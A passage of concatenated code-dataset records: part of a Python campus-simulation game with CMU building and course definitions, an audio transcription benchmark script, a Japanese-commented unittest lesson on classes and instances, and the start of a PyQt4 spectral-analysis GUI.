app.RES: app.HIL.getDistance(app.RES),\r\n app.DON: app.HIL.getDistance(app.DON)},\r\n app.GYM: {app.DON: app.GYM.getDistance(app.DON),\r\n app.MM: app.GYM.getDistance(app.MM),\r\n app.POS: app.GYM.getDistance(app.POS)},\r\n app.POS: {app.CFA: app.POS.getDistance(app.CFA),\r\n app.FAL: app.POS.getDistance(app.FAL),\r\n app.MM: app.POS.getDistance(app.MM),\r\n app.GYM: app.POS.getDistance(app.GYM)},\r\n app.CFA: {app.FE: app.CFA.getDistance(app.FE),\r\n app.FAL: app.CFA.getDistance(app.FAL),\r\n app.POS: app.CFA.getDistance(app.POS),\r\n app.HL: app.CFA.getDistance(app.HL)},\r\n app.FE: {app.CUT: app.FE.getDistance(app.CUT),\r\n app.MAL: app.FE.getDistance(app.MAL),\r\n app.CFA: app.FE.getDistance(app.CFA),\r\n app.HL: app.FE.getDistance(app.HL),\r\n app.BH: app.FE.getDistance(app.BH),\r\n app.DH: app.FE.getDistance(app.DH),\r\n app.FAL: app.FE.getDistance(app.FAL)},\r\n app.MAL: {app.WEH: app.MAL.getDistance(app.WEH),\r\n app.DH: app.MAL.getDistance(app.DH),\r\n app.BH: app.MAL.getDistance(app.BH),\r\n app.PH: app.MAL.getDistance(app.PH)},\r\n app.FAL: {app.CUT: app.FAL.getDistance(app.CUT),\r\n app.FE: app.FAL.getDistance(app.FE),\r\n app.CFA: app.FAL.getDistance(app.CFA),\r\n app.POS: app.FAL.getDistance(app.POS),\r\n app.MM: app.FAL.getDistance(app.MM),\r\n app.TC: app.FAL.getDistance(app.TC)},\r\n app.HH: {app.WEH: app.HH.getDistance(app.WEH),\r\n app.PH: app.HH.getDistance(app.PH)},\r\n app.WH: {app.TQ: app.WH.getDistance(app.TQ),\r\n app.MOR: app.WH.getDistance(app.MOR),\r\n app.UC: app.WH.getDistance(app.UC),\r\n app.PCA: app.WH.getDistance(app.PCA)},\r\n app.TQ: {app.TEP: app.TQ.getDistance(app.TEP),\r\n app.MOR: app.TQ.getDistance(app.MOR),\r\n app.WH: app.TQ.getDistance(app.WH),\r\n app.GHC: app.TQ.getDistance(app.GHC)},\r\n app.TEP: {app.ROF: app.TEP.getDistance(app.ROF),\r\n app.TQ: app.TEP.getDistance(app.TQ)},\r\n app.MOR: {app.STE: app.MOR.getDistance(app.STE),\r\n app.WH: app.MOR.getDistance(app.WH),\r\n app.TQ: app.MOR.getDistance(app.TQ)},\r\n app.STE: {app.MUD: app.STE.getDistance(app.MUD),\r\n app.ROF: app.STE.getDistance(app.ROF),\r\n app.MOR: app.STE.getDistance(app.MOR)},\r\n app.MUD: {app.ROF: app.MUD.getDistance(app.ROF),\r\n app.STE: app.MUD.getDistance(app.STE)},\r\n app.ROF: {app.MUD: app.ROF.getDistance(app.MUD),\r\n app.STE: app.ROF.getDistance(app.STE),\r\n app.TEP: app.ROF.getDistance(app.TEP)}}\r\n\r\n def createBuildings(app):\r\n app.UC = Building(\"UC\", \"Cohon University Center\", \r\n (app.width*760/1125, app.height*510/825))\r\n app.Gallo = DiningPlace(\"Gallo\", \"El Gallo de Oro\", \r\n (app.width*760/1125, app.height*510/825),\r\n \"Dining\", 1, app.UC, [((10, 0), (22, 0))], 0)\r\n app.ABP = DiningPlace(\"ABP\", \"Au Bon Pain at Skibo Cafe\", \r\n (app.width*760/1125, app.height*510/825),\r\n \"Dining\", 2, app.UC, [((8, 0), (2, 0))], 2)\r\n app.GymUC = InnerPlace(\"Fitness Center\", \"Fitness Center\", \r\n (app.width*760/1125, app.height*510/825),\r\n \"Fitness\", 2, app.UC, [((9, 0), (22, 0))])\r\n app.ActRoomUC = InnerPlace(\"Activity Room\", \"Activity Room\", \r\n (app.width*760/1125, app.height*510/825),\r\n \"Social\", 2, app.UC, [((8, 0), (24, 0))])\r\n\r\n app.DH = Building(\"Doherty\", \"Doherty Hall\", \r\n (app.width*562/1125, app.height*598/825))\r\n app.DH2210 = Classroom(\"DH2210\", \"DH2210\", \r\n (app.width*562/1125, app.height*598/825), \r\n \"Classroom\", 2, app.DH, [((0, 0), (24, 0))], \r\n \"15112 Lecture\")\r\n\r\n app.GHC = Building(\"Gates\", \"Gates & Hillman Centers\", \r\n (app.width*561/1125, app.height*523/825))\r\n app.CLR = Classroom(\"Clusters\", \"Clusters\", \r\n (app.width*561/1125, app.height*523/825),\r\n \"Classroom\", 5, app.GHC, [((0, 0), (24, 0))], \r\n \"15112 Lab\")\r\n app.Rour = DiningPlace(\"Rour Cafe\", \"Rour Cafe - Tazza D'Oro\",\r\n (app.width*561/1125, app.height*523/825), \"Dining\",\r\n 3, app.GHC, [((8, 0), (22, 0))], 2)\r\n\r\n app.PCA = Building(\"Purnell Center\", \"Purnell Center for the Arts\",\r\n (app.width*641/1125, app.height*532/825))\r\n\r\n app.DON = Building(\"Donner\", \"Donner House\", \r\n (app.width*892/1125, app.height*655/825))\r\n app.MyRoom = InnerPlace(\"My Room\", \"My Room\", \r\n (app.width*892/1125, app.height*655/825),\r\n \"Dorm\", 2, app.DON, [((0, 0), (24, 0))])\r\n\r\n app.CUT = Building(\"The Cut\", \"The Cut\", \r\n (app.width*667/1125, app.height*588/825))\r\n\r\n app.TC = Building(\"Tennis Court\", \"Tennis Court\",\r\n (app.width*753/1125, app.height*610/825))\r\n app.TennisCourt = InnerPlace(\"Tennis Court\", \"Tennis Court\",\r\n (app.width*753/1125, app.height*610/825),\r\n \"Fitness\", 1, app.TC, [((0, 0), (24, 0))])\r\n\r\n app.BH = Building(\"Baker\", \"Baker Hall\", \r\n (app.width*533/1125, app.height*696/825))\r\n app.BH255A = Classroom(\"PH100\", \"PH100\", \r\n (app.width*533/1125, app.height*696/825),\r\n \"Classroom\", 2, app.BH, [((0, 0), (24, 0))], \r\n \"Global Recitation\")\r\n \r\n app.PH = Building(\"Potter\", \"Potter Hall\",\r\n (app.width*443/1125, app.height*672/825))\r\n app.PH100 = Classroom(\"PH100\", \"PH100\", \r\n (app.width*443/1125, app.height*672/825),\r\n \"Classroom\", 1, app.PH, [((0, 0), (24, 0))], \r\n \"Global Lecture\")\r\n \r\n app.HL = Building(\"Hunt\", \"Hunt Library\",\r\n (app.width*631/1125, app.height*732/825))\r\n app.Maggie = DiningPlace(\"Maggie Murph\", \"Maggie Murph Café\",\r\n (app.width*631/1125, app.height*732/825), \r\n \"Dining\", 1, app.HL, [((8, 0), (22, 0))], 2) \r\n \r\n app.NSH = Building(\"Newell-Simon\", \"Newell-Simon Hall\",\r\n (app.width*494/1125, app.height*511/825))\r\n app.iNoodle = DiningPlace(\"iNoodle\", \"iNoodle\",\r\n (app.width*494/1125, app.height*511/825), \"Dining\",\r\n 3, app.NSH, [((10, 0), (20, 0))], 2)\r\n\r\n app.WEH = Building(\"Wean\", \"Wean Hall\",\r\n (app.width*478/1125, app.height*580/825))\r\n app.LaPrima = DiningPlace(\"La Prima\", \"La Prima Espresso\",\r\n (app.width*491/1125, app.height*580/825), \"Dining\",\r\n 5, app.WEH, [((8, 0), (18, 0))], 1)\r\n app.WEH5320 = Classroom(\"WEH5320\", \"WEH5320\", \r\n (app.width*491/1125, app.height*580/825), \r\n \"Classroom\", 5, app.WEH, [((0, 0), (24, 0))], \r\n \"112 Recitation\")\r\n\r\n app.WWG = Building(\"West Wing\", \"West Wing\",\r\n (app.width*832/1125, app.height*570/825))\r\n app.MindRoom = InnerPlace(\"Mindfulness Room\", \"Mindfulness Room\",\r\n (app.width*832/1125, app.height*570/825), \"Social\",\r\n 1, app.WWG, [((8, 0), (22, 0))])\r\n \r\n app.RES = Building(\"Resnik\", \"Resnik House\",\r\n (app.width*904/1125, app.height*596/825))\r\n app.CMUCafe = DiningPlace(\"CMU Cafe\", \"CMU Cafe\",\r\n (app.width*904/1125, app.height*596/825), \r\n \"Dining\", 1, app.RES, \r\n [((0, 0), (2, 0)), ((8, 0), (24, 0))], 1)\r\n app.Serve = DiningPlace(\"Resnik Servery\", \"Resnik Servery\",\r\n (app.width*904/1125, app.height*596/825),\r\n \"Dining\", 1, app.RES,\r\n [((10, 30), (14, 0)), ((17, 0), (22, 0))], 2)\r\n \r\n app.MM = Building(\"Margaret Morrison\", \"Margaret Morison Carnegie Hall\",\r\n (app.width*797/1125, app.height*646/825))\r\n \r\n app.GS = Building(\"Gesling Stadium\", \"Gesling Stadium\",\r\n (app.width*887/1125, app.height*530/825))\r\n app.Stadium = InnerPlace(\"Gesling Stadium\", \"Gesling Stadium\",\r\n (app.width*887/1125, app.height*530/825), \"Fitness\",\r\n 1, app.GS, [((0, 0), (24, 0))])\r\n \r\n app.SF = Building(\"Soccer Field\", \"Intramural Soccer Field\",\r\n (app.width*1004/1125, app.height*579/825))\r\n app.SField = InnerPlace(\"Soccer Field\", \"Intramural Soccer Field\",\r\n (app.width*1004/1125, app.height*579/825), \"Fitness\",\r\n 1, app.SF, [((0, 0), (24, 0))])\r\n \r\n app.HIL = Building(\"The Hill\", \"The Hill\",\r\n (app.width*1000/1125, app.height*674/825))\r\n\r\n app.GYM = Building(\"Skibo Gymnasium\", \"Skibo Gymnasium\",\r\n (app.width*813/1125, app.height*736/825))\r\n app.ActRoomSki = InnerPlace(\"Activity Room\", \"Activity Room\",\r\n (app.width*813/1125, app.height*736/825), \"Fitness\",\r\n 2, app.GYM, [((8, 0), (24, 0))])\r\n\r\n app.POS = Building(\"Posner\", \"Posner Hall\",\r\n (app.width*752/1125, app.height*712/825))\r\n app.Exchange = DiningPlace(\"The Exchange\", \"The Exchange\",\r\n (app.width*752/1125, app.height*712/825), \"Dining\",\r\n 1, app.POS, [((10, 0), (14, 0)), ((16, 0), (20, 0))], 2)\r\n \r\n app.CFA = Building(\"CFA\", \"College of Fine Arts\",\r\n (app.width*692/1125, app.height*689/825))\r\n \r\n app.FE = Building(\"The Fence\", \"The Fence\",\r\n (app.width*652/1125, app.height*634/825))\r\n app.Fence = InnerPlace(\"The Fence\", \"The Fence\",\r\n (app.width*652/1125, app.height*634/825), \r\n \"Social\", 1, app.FE, [((0, 0), (24, 0))])\r\n \r\n app.MAL = Building(\"The Mall\", \"The Mall\",\r\n (app.width*537/1125, app.height*648/825))\r\n \r\n app.FAL = Building(\"Fine Arts Lot\", \"Fine Arts Lot\",\r\n (app.width*726/1125, app.height*650/825))\r\n \r\n app.HH = Building(\"Hamerschlag\", \"Hamerschlag Hall\",\r\n (app.width*413/1125, app.height*611/825))\r\n \r\n app.WH = Building(\"Warner\", \"Warner Hall\",\r\n (app.width*659/1125, app.height*431/825))\r\n\r\n app.TQ = Building(\"Tepper Quad\", \"Tepper Quad\",\r\n (app.width*582/1125, app.height*351/825))\r\n\r\n app.TEP = Building(\"Tepper\", \"Tepper Building\",\r\n (app.width*533/1125, app.height*321/825))\r\n app.RourCom = DiningPlace(\"Rour Commons\", \"Rour Commons\",\r\n (app.width*533/1125, app.height*321/825), \"Dining\",\r\n 1, app.TEP, [((10, 0), (14, 0)), ((16, 0), (20, 0))], 2)\r\n\r\n app.MOR = Building(\"Morewood\", \"Morewood Gardens\",\r\n (app.width*674/1125, app.height*319/825))\r\n app.UG = DiningPlace(\"The Underground\", \"The Underground\",\r\n (app.width*674/1125, app.height*319/825), \"Dining\",\r\n 0, app.MOR, [((0, 0), (2, 0)), ((8, 0), (24, 0))], 1)\r\n\r\n app.MUD = Building(\"Mudge\", \"Mudge House\",\r\n (app.width*699/1125, app.height*168/825))\r\n\r\n app.STE = Building(\"Stever\", \"Stever House\",\r\n (app.width*710/1125, app.height*228/825))\r\n\r\n app.ROF = Building(\"Rez\", \"Residence on the Fifth\",\r\n (app.width*409/1125, app.height*172/825))\r\n\r\n def createEvents(app):\r\n app.createCourses()\r\n\r\n HW112WED = Event(\"112 Homework\", (1, 15), (20, 0), (22, 0), \"Homework\")\r\n app.addEvent(HW112WED)\r\n HW101MON = Event(\"Interp Homework\", (1, 13), (20, 0), (21, 30), \"Homework\")\r\n app.addEvent(HW101MON)\r\n DinMon = Event(\"Dinner\", (1, 13), (18, 0), (18, 30), \"Dining\")\r\n app.addEvent(DinMon)\r\n DinTue = Event(\"Dinner\", (1, 14), (18, 0), (18, 30), \"Dining\")\r\n app.addEvent(DinTue)\r\n DinWed = Event(\"Dinner\", (1, 15), (18, 0), (18, 30), \"Dining\")\r\n app.addEvent(DinWed)\r\n\r\n def createCourses(app):\r\n # 112:\r\n app.Lec112Tue = repeatingEvent(\"112 Lecture\", (1, 14), (4, 28), 7,\r\n (10, 30), (11, 50), \"Class\", app.DH2210)\r\n app.Lec112Thu = repeatingEvent(\"112 Lecture\", (1, 16), (4, 30), 7,\r\n (10, 30), (11, 50), \"Class\", app.DH2210)\r\n app.Rec112Wed = repeatingEvent(\"112 Recitation\", (1, 15), (4, 1), 7,\r\n (15, 30), (16, 20), \"Class\", app.WEH5320)\r\n app.Lab112Fri = repeatingEvent(\"112 Lab\", (1, 17), (3, 27), 7,\r\n (15, 30), (16, 20), \"Class\", app.CLR)\r\n app.addRepeatingEvent(app.Lec112Tue)\r\n app.addRepeatingEvent(app.Rec112Wed)\r\n app.addRepeatingEvent(app.Lec112Thu)\r\n app.addRepeatingEvent(app.Lab112Fri)\r\n app.one12 = Course(\"15112\", \"Fundamentals of Programming and Computer Science\", \r\n [(2, 20), (3, 2)], \"Exam\", \r\n {app.Lec112Tue, app.Lec112Thu, app.Rec112Wed, app.Lab112Fri}) \r\n # FYW:\r\n app.LecGloMon = repeatingEvent(\"Global Lecture\", (1, 13), (4, 27), 7,\r\n (12, 30), (13, 20), \"Class\", app.PH100)\r\n app.LecGloWed = repeatingEvent(\"Global Lecture\", (1, 15), (4, 29), 7,\r\n (12, 30), (13, 20), \"Class\", app.PH100)\r\n app.RecGloFri = repeatingEvent(\"Global Recitation\", (1, 17), (5, 1), 7,\r\n (12, 30), (13, 20), \"Class\", app.BH255A)\r\n app.addRepeatingEvent(app.LecGloMon)\r\n app.addRepeatingEvent(app.LecGloWed)\r\n app.addRepeatingEvent(app.RecGloFri)\r\n app.glob = Course(\"79104\", \"Global History\",\r\n [], \"Paper\",\r\n {app.LecGloMon, app.LecGloWed, app.RecGloFri})\r\n # whole course list:\r\n app.courses = [app.one12, app.glob]\r\n\r\n def addRepeatingEvent(app, event):\r\n currEvent = Event(event.name, event.startDate, event.startTime, \r\n event.endTime, event.function, event.location)\r\n while (currEvent.date <= event.endDate):\r\n app.addEvent(currEvent)\r\n nextDate = app.wrapAroundMonth(currEvent.date[0], currEvent.date[1] + event.cycle)\r\n currEvent = Event(event.name, nextDate, event.startTime, \r\n event.endTime, event.function, event.location)\r\n\r\n def addEvent(app, event):\r\n if event.date in app.events:\r\n eventList = app.events[event.date]\r\n if event not in eventList:\r\n index = len(eventList)\r\n for i in range(len(eventList)):\r\n if (event.startTime < eventList[i].startTime):\r\n index = i\r\n break\r\n elif (event.startTime == eventList[i].startTime):\r\n if (event.endTime <= eventList[i].endTime): index = i\r\n else: index = i+1\r\n break\r\n app.events[event.date].insert(index, event)\r\n else: app.events[event.date] = [event]\r\n\r\n def isClassTime(app, time, classroom):\r\n for course in app.courses:\r\n for clas in course.classes:\r\n if (clas.location == classroom) and (clas.startTime <= time <= clas.endTime):\r\n return True\r\n return False\r\n\r\n def stopActivity(app):\r\n app.hero.inActivity = False\r\n app.hero.sleeping = False\r\n app.hero.studying = False\r\n app.hero.eating = False\r\n app.hero.inClass = False\r\n app.hero.exercising = False\r\n app.hero.socializing = False\r\n\r\n def drawActivityWindow(app, activity, stats, canvas):\r\n # draw the window:\r\n (borderX, borderY) = (app.windowBorderX, app.windowBorderY)\r\n canvas.create_rectangle(borderX, borderY, app.width-borderX, app.height-borderY,\r\n fill = \"white\", width = 0)\r\n # will be replaced by import corresponding icon:\r\n canvas.create_text(app.width/2, app.height/2, text = f\"{activity}...\",\r\n font = \"Arial 32 bold\")\r\n # draw empty status bar:\r\n (barLength, barWidth) = (app.statusBarLength, app.statusBarWidth)\r\n canvas.create_rectangle(app.width/2 - barLength/2, app.height/4,\r\n app.width/2 + barLength/2, app.height/4 + barWidth)\r\n # fill status bar:\r\n filledBarLength = barLength * (stats/100)\r\n canvas.create_rectangle(app.width/2 - barLength/2, app.height/4,\r\n app.width/2 - barLength/2 + filledBarLength, \r\n app.height/4 + barWidth, fill = \"cyan\")\r\n # draw exit button:\r\n (butLength, butWidth) = (app.buttonLength, app.buttonWidth)\r\n canvas.create_rectangle(app.width/2 - butLength/2, app.height*(3/4) - butWidth,\r\n app.width/2 + butLength/2, app.height*(3/4),\r\n fill = \"cyan\")\r\n canvas.create_text(app.width/2, app.height*(3/4) - butWidth/2,\r\n text = \"Finish\", font = \"Arial 20 bold\")\r\n\r\n def mousePressedOnExitButton(app, event):\r\n (butLength, butWidth) = (app.buttonLength, app.buttonWidth)\r\n return ((app.width/2 - butLength/2 < event.x < app.width/2 + butLength/2) and\r\n (app.height*(3/4) - butWidth < event.y < app.height*(3/4)))\r\n\r\nMyModalApp(width=1125, height=825)\r\n","sub_path":"TP/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":31761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"562146212","text":"import time\nimport librosa\nimport sys\nimport vamp\n\nimport pandas as pd\n\nfrom os import listdir\nfrom os.path import isfile, join\n\ndef transcribe_audio(data_path=\"musicnet/test_data\", transcription_path=\"data/transcription/silvet/\"):\n duration_dataset = {\n 'song': [],\n 'inference_time_in_seconds': []\n }\n\n fns = [join(data_path, f) for f in listdir(data_path) if isfile(join(data_path, f))]\n for fn in fns:\n print(fn)\n if fn == \"musicnet/test_data/2191.wav\":\n continue\n\n now = time.time()\n\n data, rate = librosa.load(fn)\n transcription = vamp.collect(data, rate, \"silvet:silvet\")\n\n now_now = time.time()\n\n song_df_dict = {\n 'onset_time': [],\n 'offset_time': [],\n 'pitch': [],\n 'note': []\n }\n for n in transcription['list']:\n song_df_dict['onset_time'].append(float(n[\"timestamp\"]) * 1000)\n song_df_dict['offset_time'].append((float(n[\"timestamp\"]) * 1000) + (float(n[\"duration\"]) * 1000))\n song_df_dict['pitch'].append(n[\"values\"][0])\n song_df_dict['note'].append(n[\"values\"][1])\n \n csv_filename = (transcription_path + fn.split(\".\")[0].split(\"/\")[-1] + '.csv')\n song_df = pd.DataFrame(song_df_dict)\n song_df.to_csv(csv_filename)\n \n duration_dataset['song'].append(fn.split(\"/\")[-1])\n duration_dataset['inference_time_in_seconds'].append(now_now - now)\n\nif __name__ == \"__main__\":\n if len(sys.argv) == 3:\n transcribe_audio(sys.argv[1], sys.argv[2])\n else:\n transcribe_audio()\n","sub_path":"benchmark/silvet/silvet_transcription.py","file_name":"silvet_transcription.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"147612505","text":"# coding: UTF-8\nr'''\nクラス、インスタンス、オブジェクトの堀内による使い分け:\n\n特定のクラス `Class` が(念頭に)あるとき、`Class()` という式を評価すると\nメモリー内に新たに `Class` と密接な関係のあるデータ領域が生成される。\nこの新たなデータ領域を、`Class` のインスタンスと呼ぶ。\n\n特定のクラスが念頭にないとき、何らかのクラスから生成されたインスタンスを、\n**漠然と**オブジェクトと呼ぶ。\n\nPython のデータはすべてオブジェクトである。\n'''\n\nfrom unittest import TestCase, TestProgram\n\n# クラスからそのインスタンスを得る方法(既に述べた)と、\n# 逆にオブジェクトからそれを生成したクラスを得る方法を述べる。\n\nr'''\nクラスからインスタンスを得る方法:\ninstance = Class(...)\n'''\nclass T0from_class_to_instance(TestCase):\n def test(self):\n expected = 123\n got = int(123) # `int(...)` という式で `int` のインスタンスが生成される。\n self.assertEqual(expected, got)\n\nr'''\nオブジェクトからクラスを得る二つの等価な方法:\n1. obj.__class__\n2. type(obj)\nPython では 2. が推奨される。\n'''\nclass T1from_instance_to_class(TestCase):\n def test1instance___class__(self):\n expected_class = int # Python では型名も値。C と異なる。\n obj = 123\n got_class = obj.__class__\n self.assertEqual(expected_class, got_class)\n def test2type_instance_(self):\n expected_class = int\n obj = 123\n got_class = type(obj)\n self.assertEqual(expected_class, got_class)\n\nr'''\n参考: 適当なクラスのインスタンスを生成して、そのインスタンスからクラスを逆算すると、\n元のクラスに戻る。\n'''\nclass T2from_class_to_instance_to_class(TestCase):\n def test(self):\n expected_class = int\n instance = int() # 適当なクラス (ここでは `int`) のインスタンスを生成する。\n got_class = type(instance) # クラスを逆算する。\n self.assertEqual(expected_class, got_class) # 元のクラスに戻る。\n\nif __name__ == '__main__':\n TestProgram()\n","sub_path":"tests/t00classandinstance.py","file_name":"t00classandinstance.py","file_ext":"py","file_size_in_byte":2267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"199731282","text":"from PyQt4 import QtCore, QtGui\n\nfrom point_spectra_gui import ui_modules\nfrom point_spectra_gui.pysat_func import pysat_func\nimport pickle\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n\n\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\n\nclass pysat_ui(object):\n def __init__(self):\n self.pysat_fun = pysat_func()\n self.ui_list = []\n self.restore_list = None\n self.flag = False\n self.restore_flag = False\n\n \"\"\" =============================================\n This is the backbone of the UI, without this portion we have nothing to work with\n ============================================== \"\"\"\n\n def main_window(self, MainWindow):\n MainWindow.setObjectName(_fromUtf8(\"MainWindow\"))\n MainWindow.resize(800, 1000)\n self.centralWidget = QtGui.QWidget(MainWindow)\n self.centralWidget.setObjectName(_fromUtf8(\"centralWidget\"))\n self.scrollarea_layout = QtGui.QVBoxLayout(self.centralWidget)\n self.scrollarea_layout.setMargin(11)\n self.scrollarea_layout.setSpacing(6)\n self.scrollarea_layout.setObjectName(_fromUtf8(\"scrollarea_layout\"))\n self.scrollArea = QtGui.QScrollArea(self.centralWidget)\n self.scrollArea.setWidgetResizable(True)\n self.scrollArea.setObjectName(_fromUtf8(\"scrollArea\"))\n self.scrollAreaWidgetContents_2 = QtGui.QWidget()\n #self.scrollAreaWidgetContents_2.setGeometry(QtCore.QRect(0, 0, 557, 800))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.scrollAreaWidgetContents_2.setFont(font)\n self.scrollAreaWidgetContents_2.setStyleSheet(_fromUtf8(\"QGroupBox {\\n\"\n \" border: 2px solid gray;\\n\"\n \" border-radius: 6px;\\n\"\n \" margin-top: 0.5em;\\n\"\n \"}\\n\"\n \"\\n\"\n \"QGroupBox::title {\\n\"\n \"\\n\"\n \" padding-top: -14px;\\n\"\n \" padding-left: 8px;\\n\"\n \"}\\n\"\n \"\"))\n self.scrollAreaWidgetContents_2.setObjectName(_fromUtf8(\"scrollAreaWidgetContents_2\"))\n self.module_layout = QtGui.QVBoxLayout(self.scrollAreaWidgetContents_2)\n self.module_layout.setMargin(11)\n self.module_layout.setSpacing(6)\n self.module_layout.setObjectName(_fromUtf8(\"module_layout\"))\n self.scrollArea.setWidget(self.scrollAreaWidgetContents_2)\n self.scrollarea_layout.addWidget(self.scrollArea)\n self.OK = QtGui.QGroupBox(self.centralWidget)\n self.OK.setObjectName(_fromUtf8(\"OK\"))\n self.ok = QtGui.QHBoxLayout(self.OK)\n self.ok.setMargin(11)\n self.ok.setSpacing(6)\n self.ok.setObjectName(_fromUtf8(\"ok\"))\n self.progressBar = QtGui.QProgressBar(self.OK)\n self.progressBar.setProperty(\"value\", 0)\n self.progressBar.setObjectName(_fromUtf8(\"progressBar\"))\n self.ok.addWidget(self.progressBar)\n self.delButton = QtGui.QPushButton(self.OK)\n self.okButton = QtGui.QPushButton(self.OK)\n font = QtGui.QFont()\n font.setPointSize(8)\n self.delButton.setFont(font)\n self.delButton.setMouseTracking(False)\n self.delButton.setObjectName(\"delButton\")\n self.ok.addWidget(self.delButton)\n self.okButton.setFont(font)\n self.okButton.setMouseTracking(False)\n self.okButton.setObjectName(_fromUtf8(\"okButton\"))\n self.ok.addWidget(self.okButton)\n self.scrollarea_layout.addWidget(self.OK)\n\n\n\n MainWindow.setCentralWidget(self.centralWidget)\n self.mainToolBar = QtGui.QToolBar(MainWindow)\n self.mainToolBar.setObjectName(_fromUtf8(\"mainToolBar\"))\n MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.mainToolBar)\n self.statusBar = QtGui.QStatusBar(MainWindow)\n self.statusBar.setObjectName(_fromUtf8(\"statusBar\"))\n MainWindow.setStatusBar(self.statusBar)\n self.menuBar = QtGui.QMenuBar(MainWindow)\n self.menuBar.setGeometry(QtCore.QRect(0, 0, 581, 26))\n self.menuBar.setObjectName(_fromUtf8(\"menuBar\"))\n self.menuFile = QtGui.QMenu(self.menuBar)\n self.menuFile.setObjectName(_fromUtf8(\"menuFile\"))\n self.menuPreprocessing = QtGui.QMenu(self.menuBar)\n self.menuPreprocessing.setObjectName(_fromUtf8(\"menuPreprocessing\"))\n self.menuRegression = QtGui.QMenu(self.menuBar)\n self.menuRegression.setObjectName(_fromUtf8(\"menuRegression\"))\n self.menuHelp = QtGui.QMenu(self.menuBar)\n self.menuHelp.setObjectName(_fromUtf8(\"menuHelp\"))\n self.menuVisualization = QtGui.QMenu(self.menuBar)\n self.menuVisualization.setObjectName(_fromUtf8(\"menuVisualization\"))\n MainWindow.setMenuBar(self.menuBar)\n\n #set up data actions\n self.actionRead_ccam = QtGui.QAction(MainWindow)\n self.actionRead_ccam.setObjectName(_fromUtf8(\"actionRead_ccam\"))\n self.actionLoad_reference_Data = QtGui.QAction(MainWindow)\n self.actionLoad_reference_Data.setObjectName(_fromUtf8(\"actionLoad_reference_Data\"))\n self.actionLoad_Unknown_Data = QtGui.QAction(MainWindow)\n self.actionLoad_Unknown_Data.setObjectName(_fromUtf8(\"actionLoad_Unknown_Data\"))\n self.actionSave_Current_Workflow = QtGui.QAction(MainWindow)\n self.actionSave_Current_Workflow.setObjectName(_fromUtf8(\"actionSave_Current_Workflow\"))\n self.actionSave_Current_Data = QtGui.QAction(MainWindow)\n self.actionSave_Current_Data.setObjectName(_fromUtf8(\"actionSave_Current_Data\"))\n self.actionCreate_New_Workflow = QtGui.QAction(MainWindow)\n self.actionCreate_New_Workflow.setObjectName(_fromUtf8(\"actionCreate_New_Workflow\"))\n self.actionOpen_Workflow = QtGui.QAction(MainWindow)\n self.actionOpen_Workflow.setObjectName(_fromUtf8(\"actionOpen_Workflow\"))\n self.actionSet_output_location = QtGui.QAction(MainWindow)\n self.actionSet_output_location.setObjectName(_fromUtf8(\"actionSet_output_location\"))\n\n #set up preprocessing actions\n self.actionRemoveNull = QtGui.QAction(MainWindow)\n self.actionRemoveNull.setObjectName(_fromUtf8(\"actionRemoveNull\"))\n self.actionApply_Mask = QtGui.QAction(MainWindow)\n self.actionApply_Mask.setObjectName(_fromUtf8(\"actionApply_Mask\"))\n self.actionInterpolate = QtGui.QAction(MainWindow)\n self.actionInterpolate.setObjectName(_fromUtf8(\"actionInterpolate\"))\n self.actionStratified_Folds = QtGui.QAction(MainWindow)\n self.actionStratified_Folds.setObjectName(_fromUtf8(\"actionStratified_Folds\"))\n self.actionAbout = QtGui.QAction(MainWindow)\n self.actionAbout.setObjectName(_fromUtf8(\"actionAbout\"))\n self.actionAbout_QtCreator = QtGui.QAction(MainWindow)\n self.actionAbout_QtCreator.setObjectName(_fromUtf8(\"actionAbout_QtCreator\"))\n self.actionExit = QtGui.QAction(MainWindow)\n self.actionExit.setObjectName(_fromUtf8(\"actionExit\"))\n self.actionNormalization = QtGui.QAction(MainWindow)\n self.actionNormalization.setObjectName(_fromUtf8(\"actionNormalization\"))\n self.actionDimRed=QtGui.QAction(MainWindow)\n self.actionDimRed.setObjectName(_fromUtf8(\"actionDimRed\"))\n\n#set up regression actions\n self.actionCross_Validation = QtGui.QAction(MainWindow)\n self.actionCross_Validation.setObjectName(_fromUtf8(\"actionCross_Validation\"))\n self.actionTrain = QtGui.QAction(MainWindow)\n self.actionTrain.setObjectName(_fromUtf8(\"actionTrain\"))\n self.actionPredict = QtGui.QAction(MainWindow)\n self.actionPredict.setObjectName(_fromUtf8(\"actionPredict\"))\n\n#set up plotting actions\n self.actionPlot = QtGui.QAction(MainWindow)\n self.actionPlot.setObjectName(_fromUtf8(\"actionPlot\"))\n self.actionPlotDimRed = QtGui.QAction(MainWindow)\n self.actionPlotDimRed.setObjectName(_fromUtf8(\"actionPlot\"))\n\n self.actionTrain_Submodels = QtGui.QAction(MainWindow)\n self.actionTrain_Submodels.setObjectName(_fromUtf8(\"actionTrain_Submodels\"))\n self.actionSubmodelPredict = QtGui.QAction(MainWindow)\n self.actionSubmodelPredict.setObjectName(_fromUtf8(\"actionSubmodelPredict\"))\n\n #add actions to file menu\n self.menuFile.addAction(self.actionRead_ccam)\n self.menuFile.addAction(self.actionLoad_reference_Data)\n self.menuFile.addAction(self.actionLoad_Unknown_Data)\n self.menuFile.addAction(self.actionSet_output_location)\n self.menuFile.addSeparator()\n self.menuFile.addAction(self.actionSave_Current_Data)\n self.menuFile.addSeparator()\n self.menuFile.addAction(self.actionCreate_New_Workflow)\n self.menuFile.addAction(self.actionOpen_Workflow)\n self.menuFile.addAction(self.actionSave_Current_Workflow)\n self.menuFile.addSeparator()\n self.menuFile.addAction(self.actionExit)\n\n #add actions to preprocessing\n self.menuPreprocessing.addAction(self.actionRemoveNull)\n self.menuPreprocessing.addAction(self.actionInterpolate)\n self.menuPreprocessing.addAction(self.actionApply_Mask)\n 